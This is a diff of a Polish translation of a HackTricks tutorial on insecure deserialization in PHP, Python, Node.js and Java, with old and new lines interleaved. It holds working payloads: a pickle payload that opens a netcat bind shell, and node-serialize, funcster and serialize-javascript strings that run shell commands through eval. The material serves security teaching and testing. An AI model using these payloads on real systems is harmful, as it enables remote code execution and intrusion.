Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Serializacja** to metoda polegająca na konwertowaniu obiektu na format, który można zachować, z zamiarem przechowywania obiektu lub przesyłania go w ramach procesu komunikacji. Ta technika jest powszechnie stosowana, aby zapewnić, że obiekt można odtworzyć w późniejszym czasie, zachowując jego strukturę i stan.
|
||||
**Serializacja** jest rozumiana jako metoda konwertowania obiektu na format, który można zachować, z zamiarem przechowywania obiektu lub przesyłania go jako część procesu komunikacji. Technika ta jest powszechnie stosowana, aby zapewnić, że obiekt może być odtworzony w późniejszym czasie, zachowując swoją strukturę i stan.
|
||||
|
||||
**Deserializacja**, z kolei, to proces przeciwny do serializacji. Polega na pobraniu danych, które zostały sformatowane w określonym formacie i odtworzeniu ich z powrotem jako obiekt.
|
||||
**Deserializacja**, przeciwnie, jest procesem, który przeciwdziała serializacji. Polega na wzięciu danych, które zostały ustrukturyzowane w określonym formacie i odbudowaniu ich z powrotem w obiekt.
|
||||
|
||||
Deserializacja może być niebezpieczna, ponieważ potencjalnie **pozwala atakującym manipulować zserializowanymi danymi w celu wykonania szkodliwego kodu** lub wywołania nieoczekiwanego zachowania w aplikacji podczas procesu odtwarzania obiektu.
|
||||
Deserializacja może być niebezpieczna, ponieważ potencjalnie **pozwala atakującym manipulować zserializowanymi danymi w celu wykonania szkodliwego kodu** lub spowodowania nieoczekiwanego zachowania w aplikacji podczas procesu odbudowy obiektu.
|
||||
|
||||
## PHP
|
||||
|
||||
W PHP podczas procesów serializacji i deserializacji wykorzystuje się konkretne magiczne metody:
|
||||
W PHP podczas procesów serializacji i deserializacji wykorzystywane są specyficzne metody magiczne:
|
||||
|
||||
* `__sleep`: Wywoływana podczas serializacji obiektu. Ta metoda powinna zwrócić tablicę nazw wszystkich właściwości obiektu, które powinny być zserializowane. Jest powszechnie używana do zatwierdzania oczekujących danych lub wykonywania podobnych zadań czyszczących.
|
||||
* `__wakeup`: Wywoływana podczas deserializacji obiektu. Służy do ponownego nawiązania połączeń z bazą danych, które mogły zostać utracone podczas serializacji, oraz do wykonywania innych zadań ponownej inicjalizacji.
|
||||
* `__unserialize`: Ta metoda jest wywoływana zamiast `__wakeup` (jeśli istnieje) podczas deserializacji obiektu. Daje ona większą kontrolę nad procesem deserializacji w porównaniu do `__wakeup`.
|
||||
* `__destruct`: Ta metoda jest wywoływana, gdy obiekt ma zostać zniszczony lub gdy skrypt się kończy. Zazwyczaj jest używana do zadań czyszczących, takich jak zamykanie uchwytów plików lub połączeń z bazą danych.
|
||||
* `__toString`: Ta metoda pozwala traktować obiekt jako ciąg znaków. Może być używana do odczytywania pliku lub innych zadań opartych na wywołaniach funkcji wewnątrz niej, efektywnie dostarczając tekstową reprezentację obiektu.
|
||||
* `__sleep`: Wywoływana, gdy obiekt jest serializowany. Metoda ta powinna zwracać tablicę nazw wszystkich właściwości obiektu, które powinny być serializowane. Jest powszechnie używana do zatwierdzania oczekujących danych lub wykonywania podobnych zadań porządkowych.
|
||||
* `__wakeup`: Wywoływana, gdy obiekt jest deserializowany. Używana do przywracania wszelkich połączeń z bazą danych, które mogły zostać utracone podczas serializacji oraz do wykonywania innych zadań ponownej inicjalizacji.
|
||||
* `__unserialize`: Ta metoda jest wywoływana zamiast `__wakeup` (jeśli istnieje) podczas deserializacji obiektu. Daje większą kontrolę nad procesem deserializacji w porównaniu do `__wakeup`.
|
||||
* `__destruct`: Ta metoda jest wywoływana, gdy obiekt ma zostać zniszczony lub gdy skrypt się kończy. Zwykle używana do zadań porządkowych, takich jak zamykanie uchwytów plików lub połączeń z bazą danych.
|
||||
* `__toString`: Ta metoda pozwala traktować obiekt jako ciąg znaków. Może być używana do odczytu pliku lub innych zadań opartych na wywołaniach funkcji w nim, skutecznie zapewniając tekstową reprezentację obiektu.
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
|
@ -86,10 +87,10 @@ This is a test<br />
|
|||
*/
|
||||
?>
|
||||
```
|
||||
Jeśli spojrzysz na wyniki, zobaczysz, że funkcje **`__wakeup`** i **`__destruct`** są wywoływane podczas deserializacji obiektu. Zauważ, że w kilku samouczkach znajdziesz, że funkcja **`__toString`** jest wywoływana podczas próby wydrukowania pewnego atrybutu, ale najwyraźniej to **już się nie dzieje**.
|
||||
Jeśli spojrzysz na wyniki, możesz zobaczyć, że funkcje **`__wakeup`** i **`__destruct`** są wywoływane, gdy obiekt jest deserializowany. Zauważ, że w kilku samouczkach znajdziesz, że funkcja **`__toString`** jest wywoływana, gdy próbujesz wydrukować jakiś atrybut, ale najwyraźniej **to już się nie dzieje**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Metoda **`__unserialize(array $data)`** jest wywoływana **zamiast `__wakeup()`** jeśli jest zaimplementowana w klasie. Pozwala ona na deserializację obiektu, dostarczając dane zserializowane jako tablicę. Możesz użyć tej metody do deserializacji właściwości i wykonać wszelkie konieczne czynności podczas deserializacji.
|
||||
Metoda **`__unserialize(array $data)`** jest wywoływana **zamiast `__wakeup()`**, jeśli jest zaimplementowana w klasie. Umożliwia to deserializację obiektu, dostarczając zserializowane dane jako tablicę. Możesz użyć tej metody do deserializacji właściwości i wykonania wszelkich niezbędnych zadań po deserializacji.
|
||||
```php
|
||||
class MyClass {
|
||||
private $property;
|
||||
|
@ -104,17 +105,17 @@ $this->property = $data['property'];
|
|||
|
||||
Możesz przeczytać wyjaśniony **przykład PHP tutaj**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), tutaj [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) lub tutaj [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### Deserializacja PHP + Klasy Autoload
|
||||
### PHP Deserial + Autoload Classes
|
||||
|
||||
Możesz nadużyć funkcjonalności automatycznego ładowania w PHP do wczytywania dowolnych plików PHP i nie tylko:
|
||||
Możesz nadużyć funkcjonalności autoload PHP, aby załadować dowolne pliki php i więcej:
|
||||
|
||||
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
|
||||
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Serializacja Wartości z Referencjami
|
||||
### Serializing Referenced Values
|
||||
|
||||
Jeśli z jakiegoś powodu chcesz zserializować wartość jako **referencję do innej zserializowanej wartości**, możesz to zrobić:
|
||||
Jeśli z jakiegoś powodu chcesz zserializować wartość jako **referencję do innej wartości zserializowanej**, możesz:
|
||||
```php
|
||||
<?php
|
||||
class AClass {
|
||||
|
@ -129,13 +130,13 @@ $ser=serialize($o);
|
|||
```
|
||||
### PHPGGC (ysoserial dla PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) może pomóc w generowaniu ładunków w celu nadużycia deserializacji w PHP.\
|
||||
Zauważ, że w wielu przypadkach **nie będziesz w stanie znaleźć sposobu na nadużycie deserializacji w kodzie źródłowym** aplikacji, ale możesz **nadużyć kod zewnętrznych rozszerzeń PHP.**\
|
||||
Dlatego, jeśli możesz, sprawdź `phpinfo()` serwera i **szukaj w internecie** (nawet w **gadżetach** z **PHPGGC**) możliwych gadżetów, których możesz nadużyć.
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) może pomóc w generowaniu ładunków do nadużywania deserializacji PHP.\
|
||||
Zauważ, że w wielu przypadkach **nie będziesz w stanie znaleźć sposobu na nadużycie deserializacji w kodzie źródłowym** aplikacji, ale możesz być w stanie **nadużyć kodu zewnętrznych rozszerzeń PHP.**\
|
||||
Więc, jeśli możesz, sprawdź `phpinfo()` serwera i **przeszukaj internet** (a nawet **gadżety** **PHPGGC**) w poszukiwaniu możliwego gadżetu, który mógłbyś nadużyć.
|
||||
|
||||
### Deserializacja metadanych phar://
|
||||
### deserializacja metadanych phar://
|
||||
|
||||
Jeśli znalazłeś LFI, który tylko czyta plik i nie wykonuje w nim kodu PHP, na przykład za pomocą funkcji takich jak _**file\_get\_contents(), fopen(), file() lub file\_exists(), md5\_file(), filemtime() lub filesize()**_. Możesz spróbować nadużyć **deserializacji**, która występuje podczas **odczytywania** pliku za pomocą protokołu **phar**.\
|
||||
Jeśli znalazłeś LFI, który tylko odczytuje plik i nie wykonuje kodu php w nim, na przykład używając funkcji takich jak _**file\_get\_contents(), fopen(), file() lub file\_exists(), md5\_file(), filemtime() lub filesize()**_**.** Możesz spróbować nadużyć **deserializacji** występującej podczas **odczytu** **pliku** za pomocą protokołu **phar**.\
|
||||
Aby uzyskać więcej informacji, przeczytaj następujący post:
|
||||
|
||||
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
|
||||
|
@ -146,8 +147,8 @@ Aby uzyskać więcej informacji, przeczytaj następujący post:
|
|||
|
||||
### **Pickle**
|
||||
|
||||
Gdy obiekt zostanie odblokowany, zostanie wykonana funkcja _\_\_reduce\_\__.\
|
||||
W przypadku wykorzystania, serwer może zwrócić błąd.
|
||||
Gdy obiekt zostanie odpakowany, funkcja _\_\_reduce\_\__ zostanie wykonana.\
|
||||
Gdy zostanie wykorzystana, serwer może zwrócić błąd.
|
||||
```python
|
||||
import pickle, os, base64
|
||||
class P(object):
|
||||
|
@ -155,7 +156,7 @@ def __reduce__(self):
|
|||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||
print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
Dla dalszych informacji na temat ucieczki z **więzień pickle**, sprawdź:
|
||||
For more information about escaping from **pickle jails** check:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -163,13 +164,13 @@ Dla dalszych informacji na temat ucieczki z **więzień pickle**, sprawdź:
|
|||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
Następna strona prezentuje technikę **wykorzystania niebezpiecznej deserializacji w bibliotekach pythona obsługujących yamle** i kończy się narzędziem, które można użyć do generowania ładunków deserializacji RCE dla **Pickle, PyYAML, jsonpickle i ruamel.yaml**:
|
||||
The following page present the technique to **abuse an unsafe deserialization in yamls** python libraries and finishes with a tool that can be used to generate RCE deserialization payload for **Pickle, PyYAML, jsonpickle and ruamel.yaml**:
|
||||
|
||||
{% content-ref url="python-yaml-deserialization.md" %}
|
||||
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Zanieczyszczenie klasy (Python Prototype Pollution)
|
||||
### Class Pollution (Python Prototype Pollution)
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
|
||||
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||
|
@ -177,12 +178,12 @@ Następna strona prezentuje technikę **wykorzystania niebezpiecznej deserializa
|
|||
|
||||
## NodeJS
|
||||
|
||||
### Magiczne funkcje JS
|
||||
### JS Magic Functions
|
||||
|
||||
JS **nie ma "magicznych" funkcji** jak PHP czy Python, które zostaną wykonane tylko w celu utworzenia obiektu. Ale ma kilka **funkcji**, które są **często używane nawet bez bezpośredniego ich wywoływania**, takich jak **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Wykorzystując deserializację, możesz **zakłócić te funkcje, aby wykonać inny kod** (potencjalnie wykorzystując zanieczyszczenia prototypów), co pozwoli ci wykonać dowolny kod podczas ich wywoływania.
|
||||
JS **nie ma "magicznych" funkcji** jak PHP czy Python, które są wykonywane tylko w celu utworzenia obiektu. Ale ma kilka **funkcji**, które są **często używane nawet bez bezpośredniego ich wywoływania**, takich jak **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Jeśli nadużyjesz deserializacji, możesz **skompromentować te funkcje, aby wykonać inny kod** (potencjalnie nadużywając zanieczyszczenia prototypu), co pozwoli ci wykonać dowolny kod, gdy zostaną wywołane.
|
||||
|
||||
Innym **"magicznym" sposobem wywołania funkcji** bez bezpośredniego jej wywoływania jest **zakłócenie obiektu zwracanego przez funkcję asynchroniczną** (promise). Ponieważ, jeśli **przekształcisz** ten **obiekt zwracany** w inny **promise** z **właściwością** o nazwie **"then" typu funkcja**, zostanie **wykonany** tylko dlatego, że jest zwracany przez inny promise. _Zajrzyj_ [_**pod ten link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _dla więcej informacji._
|
||||
Inny **"magiczny" sposób na wywołanie funkcji** bez bezpośredniego jej wywoływania to **skompromentowanie obiektu, który jest zwracany przez funkcję asynchroniczną** (promise). Ponieważ, jeśli **przekształcisz** ten **obiekt zwracany** w inną **obietnicę** z **właściwością** o nazwie **"then" typu funkcja**, zostanie on **wykonany** tylko dlatego, że jest zwracany przez inną obietnicę. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
|
@ -206,9 +207,9 @@ test_ressolve()
|
|||
test_then()
|
||||
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
||||
```
|
||||
### Zanieczyszczenie `__proto__` i `prototype`
|
||||
### `__proto__` i zanieczyszczenie `prototype`
|
||||
|
||||
Jeśli chcesz dowiedzieć się więcej o tej technice, **zapoznaj się z następującym samouczkiem**:
|
||||
Jeśli chcesz dowiedzieć się więcej o tej technice **zobacz następujący samouczek**:
|
||||
|
||||
{% content-ref url="nodejs-proto-prototype-pollution/" %}
|
||||
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
|
||||
|
@ -225,41 +226,41 @@ var serialize = require('node-serialize');
|
|||
var payload_serialized = serialize.serialize(y);
|
||||
console.log("Serialized: \n" + payload_serialized);
|
||||
```
|
||||
Obiekt **zserializowany** będzie wyglądać następująco:
|
||||
Obiekt **serializowany** będzie wyglądał następująco:
|
||||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
W przykładzie widać, że gdy funkcja jest serializowana, do obiektu serializowanego dodawana jest flaga `_$$ND_FUNC$$_`.
|
||||
Możesz zobaczyć w przykładzie, że gdy funkcja jest serializowana, flaga `_$$ND_FUNC$$_` jest dołączana do obiektu serializowanego.
|
||||
|
||||
W pliku `node-serialize/lib/serialize.js` można znaleźć tę samą flagę i sposób jej użycia w kodzie.
|
||||
W pliku `node-serialize/lib/serialize.js` możesz znaleźć tę samą flagę i sposób, w jaki kod jej używa.
|
||||
|
||||
![](<../../.gitbook/assets/image (351).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (446).png>)
|
||||
|
||||
Jak widać w ostatnim fragmencie kodu, **jeśli flaga zostanie znaleziona**, używane jest `eval` do deserializacji funkcji, więc w zasadzie **wejście użytkownika jest używane wewnątrz funkcji `eval`**.
|
||||
Jak możesz zobaczyć w ostatnim kawałku kodu, **jeśli flaga zostanie znaleziona**, używane jest `eval` do deserializacji funkcji, więc zasadniczo **dane wejściowe użytkownika są używane wewnątrz funkcji `eval`**.
|
||||
|
||||
Jednakże, **tylko serializacja** funkcji **nie spowoduje jej wykonania**, ponieważ konieczne byłoby, aby jakiś fragment kodu **wywołał `y.rce`** w naszym przykładzie, co jest mało **prawdopodobne**.\
|
||||
W każdym razie, można **zmodyfikować serializowany obiekt** **dodając nawiasy** w celu automatycznego wykonania zserializowanej funkcji podczas deserializacji obiektu.\
|
||||
W następnym fragmencie kodu **zauważ ostatni nawias** i sposób, w jaki funkcja `unserialize` automatycznie wykona kod:
|
||||
Jednak **samego serializowania** funkcji **nie wykona**, ponieważ konieczne byłoby, aby jakaś część kodu **wywoływała `y.rce`** w naszym przykładzie, a to jest wysoce **mało prawdopodobne**.\
|
||||
Tak czy inaczej, możesz po prostu **zmodyfikować obiekt serializowany**, **dodając nawiasy**, aby automatycznie wykonać serializowaną funkcję, gdy obiekt zostanie deserializowany.\
|
||||
W następnym kawałku kodu **zauważ ostatni nawias** i jak funkcja `unserialize` automatycznie wykona kod:
|
||||
```javascript
|
||||
var serialize = require('node-serialize');
|
||||
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
||||
serialize.unserialize(test);
|
||||
```
|
||||
Jak wcześniej wskazano, ta biblioteka pobierze kod po `_$$ND_FUNC$$_` i **wykona go** za pomocą `eval`. Dlatego, aby **automatycznie wykonać kod**, można **usunąć część tworzenia funkcji** oraz ostatni nawias i **po prostu wykonać jednoliniowy kod JS** jak w poniższym przykładzie:
|
||||
Jak wcześniej wskazano, ta biblioteka pobierze kod po `_$$ND_FUNC$$_` i **wykona go** za pomocą `eval`. Dlatego, aby **automatycznie wykonać kod**, możesz **usunąć część tworzenia funkcji** oraz ostatni nawias i **po prostu wykonać jedną linię JS** jak w poniższym przykładzie:
|
||||
```javascript
|
||||
var serialize = require('node-serialize');
|
||||
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
||||
serialize.unserialize(test);
|
||||
```
|
||||
Możesz [**znaleźć tutaj**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **dalsze informacje** na temat sposobu wykorzystania tej podatności.
|
||||
Możesz [**znaleźć tutaj**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **dalsze informacje** na temat tego, jak wykorzystać tę lukę.
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
Wartościowym aspektem **funcstera** jest niedostępność **standardowych obiektów wbudowanych**; wypadają one poza dostępnym zakresem. To ograniczenie uniemożliwia wykonanie kodu próbującego wywołać metody na obiektach wbudowanych, co prowadzi do wyjątków takich jak `"ReferenceError: console is not defined"`, gdy używane są polecenia typu `console.log()` lub `require(something)`.
|
||||
Ciekawym aspektem **funcster** jest niedostępność **standardowych obiektów wbudowanych**; znajdują się one poza dostępnym zakresem. To ograniczenie uniemożliwia wykonanie kodu, który próbuje wywołać metody na obiektach wbudowanych, prowadząc do wyjątków takich jak `"ReferenceError: console is not defined"` gdy używane są polecenia takie jak `console.log()` lub `require(something)`.
|
||||
|
||||
Mimo tego ograniczenia, przywrócenie pełnego dostępu do globalnego kontekstu, w tym wszystkich standardowych obiektów wbudowanych, jest możliwe dzięki określonej metodzie. Korzystając bezpośrednio z globalnego kontekstu, można ominąć to ograniczenie. Na przykład dostęp można przywrócić za pomocą następującego fragmentu:
|
||||
Pomimo tego ograniczenia, przywrócenie pełnego dostępu do kontekstu globalnego, w tym wszystkich standardowych obiektów wbudowanych, jest możliwe dzięki specyficznemu podejściu. Wykorzystując kontekst globalny bezpośrednio, można obejść to ograniczenie. Na przykład, dostęp można przywrócić za pomocą następującego fragmentu:
|
||||
```javascript
|
||||
funcster = require("funcster");
|
||||
//Serialization
|
||||
|
@ -274,17 +275,17 @@ funcster.deepDeserialize(desertest2)
|
|||
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
|
||||
funcster.deepDeserialize(desertest3)
|
||||
```
|
||||
**Aby uzyskać** [**więcej informacji przeczytaj ten źródło**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**Aby**[ **uzyskać więcej informacji, przeczytaj to źródło**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
Pakiet **serialize-javascript** jest przeznaczony wyłącznie do celów serializacji, nie posiada wbudowanych funkcji deserializacji. Użytkownicy są odpowiedzialni za implementację własnej metody deserializacji. Bezpośrednie użycie `eval` jest sugerowane przez oficjalny przykład deserializacji danych zserializowanych:
|
||||
Pakiet **serialize-javascript** jest zaprojektowany wyłącznie do celów serializacji, nie posiada żadnych wbudowanych możliwości deserializacji. Użytkownicy są odpowiedzialni za wdrożenie własnej metody deserializacji. Bezpośrednie użycie `eval` jest sugerowane przez oficjalny przykład do deserializacji danych serializowanych:
|
||||
```javascript
|
||||
function deserialize(serializedJavascript){
|
||||
return eval('(' + serializedJavascript + ')');
|
||||
}
|
||||
```
|
||||
Jeśli ta funkcja jest używana do deserializacji obiektów, możesz to łatwo **wykorzystać**:
|
||||
Jeśli ta funkcja jest używana do deserializacji obiektów, możesz **łatwo to wykorzystać**:
|
||||
```javascript
|
||||
var serialize = require('serialize-javascript');
|
||||
//Serialization
|
||||
|
@ -295,90 +296,90 @@ console.log(test) //function() { return "Hello world!" }
|
|||
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||||
deserialize(test)
|
||||
```
|
||||
**Aby uzyskać** [**więcej informacji przeczytaj ten źródło**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**Aby**[ **uzyskać więcej informacji, przeczytaj to źródło**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### Biblioteka Cryo
|
||||
|
||||
Na następnych stronach znajdziesz informacje na temat nadużywania tej biblioteki do wykonywania dowolnych poleceń:
|
||||
Na poniższych stronach znajdziesz informacje o tym, jak nadużywać tej biblioteki do wykonywania dowolnych poleceń:
|
||||
|
||||
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
||||
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
||||
|
||||
## Java - HTTP
|
||||
|
||||
W Javie **wywołania zwrotne deserializacji są wykonywane podczas procesu deserializacji**. To wykonanie może być wykorzystane przez atakujących, którzy tworzą złośliwe ładunki, które wyzwalają te wywołania zwrotne, prowadząc do potencjalnego wykonania szkodliwych działań.
|
||||
W Javie **wywołania zwrotne deserializacji są wykonywane podczas procesu deserializacji**. To wykonanie może być wykorzystywane przez atakujących, którzy tworzą złośliwe ładunki, które wyzwalają te wywołania zwrotne, prowadząc do potencjalnego wykonania szkodliwych działań.
|
||||
|
||||
### Odciski palców
|
||||
|
||||
#### White Box
|
||||
#### Biała skrzynka
|
||||
|
||||
Aby zidentyfikować potencjalne podatności na serializację w kodzie, wyszukaj:
|
||||
Aby zidentyfikować potencjalne luki w serializacji w kodzie, poszukaj:
|
||||
|
||||
* Klasy implementujące interfejs `Serializable`.
|
||||
* Użycie funkcji `java.io.ObjectInputStream`, `readObject`, `readUnshare`.
|
||||
* Klas implementujących interfejs `Serializable`.
|
||||
* Użycia funkcji `java.io.ObjectInputStream`, `readObject`, `readUnshared`.
|
||||
|
||||
Zwróć szczególną uwagę na:
|
||||
|
||||
* `XMLDecoder` używany z parametrami zdefiniowanymi przez użytkowników zewnętrznych.
|
||||
* Metoda `fromXML` z `XStream`, zwłaszcza jeśli wersja XStream jest mniejsza lub równa 1.46, ponieważ jest podatna na problemy z serializacją.
|
||||
* `ObjectInputStream` w połączeniu z metodą `readObject`.
|
||||
* Implementacja metod takich jak `readObject`, `readObjectNodData`, `readResolve` lub `readExternal`.
|
||||
* `XMLDecoder` wykorzystywany z parametrami definiowanymi przez zewnętrznych użytkowników.
|
||||
* Metodę `fromXML` w `XStream`, szczególnie jeśli wersja XStream jest mniejsza lub równa 1.46, ponieważ jest podatna na problemy z serializacją.
|
||||
* `ObjectInputStream` połączony z metodą `readObject`.
|
||||
* Implementację metod takich jak `readObject`, `readObjectNodData`, `readResolve` lub `readExternal`.
|
||||
* `ObjectInputStream.readUnshared`.
|
||||
* Ogólne użycie `Serializable`.
|
||||
|
||||
#### Black Box
|
||||
#### Czarna skrzynka
|
||||
|
||||
Podczas testów black box, szukaj konkretnych **sygnatur lub "Magicznych bajtów"**, które oznaczają obiekty zserializowane w Javie (pochodzące z `ObjectInputStream`):
|
||||
W przypadku testowania czarnej skrzynki, poszukaj specyficznych **sygnatur lub "Magic Bytes"**, które oznaczają obiekty zserializowane w Javie (pochodzące z `ObjectInputStream`):
|
||||
|
||||
* Wzorzec szesnastkowy: `AC ED 00 05`.
|
||||
* Wzorzec Base64: `rO0`.
|
||||
* Nagłówki odpowiedzi HTTP z ustawionym `Content-type` na `application/x-java-serialized-object`.
|
||||
* Wzorzec szesnastkowy wskazujący na wcześniejszą kompresję: `1F 8B 08 00`.
|
||||
* Wzorzec Base64 wskazujący na wcześniejszą kompresję: `H4sIA`.
|
||||
* Pliki internetowe z rozszerzeniem `.faces` i parametrem `faces.ViewState`. Odkrycie tych wzorców w aplikacji internetowej powinno skłonić do dokładnego zbadania, jak opisano w [poście dotyczącym Deserializacji Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
|
||||
* Wzór szesnastkowy: `AC ED 00 05`.
|
||||
* Wzór Base64: `rO0`.
|
||||
* Nagłówki odpowiedzi HTTP z `Content-type` ustawionym na `application/x-java-serialized-object`.
|
||||
* Wzór szesnastkowy wskazujący na wcześniejsze kompresowanie: `1F 8B 08 00`.
|
||||
* Wzór Base64 wskazujący na wcześniejsze kompresowanie: `H4sIA`.
|
||||
* Pliki internetowe z rozszerzeniem `.faces` i parametrem `faces.ViewState`. Odkrycie tych wzorów w aplikacji internetowej powinno skłonić do zbadania, jak opisano w [poście o deserializacji Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### Sprawdź, czy jest podatny
|
||||
|
||||
Jeśli chcesz dowiedzieć się, **jak działa eksploit deserializacji w Javie**, powinieneś zajrzeć do [**Podstawowa deserializacja w Javie**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserializacja DNS w Javie**](java-dns-deserialization-and-gadgetprobe.md) oraz [**Ładunek CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
Jeśli chcesz **dowiedzieć się, jak działa exploit deserializacji w Javie**, powinieneś zapoznać się z [**Podstawową deserializacją Javy**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserializacją DNS w Javie**](java-dns-deserialization-and-gadgetprobe.md) oraz [**Ładunkiem CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
|
||||
#### Test White Box
|
||||
#### Test białego pudełka
|
||||
|
||||
Możesz sprawdzić, czy zainstalowana jest jakaś aplikacja znanymi podatnościami.
|
||||
Możesz sprawdzić, czy zainstalowana jest jakakolwiek aplikacja z znanymi podatnościami.
|
||||
```bash
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
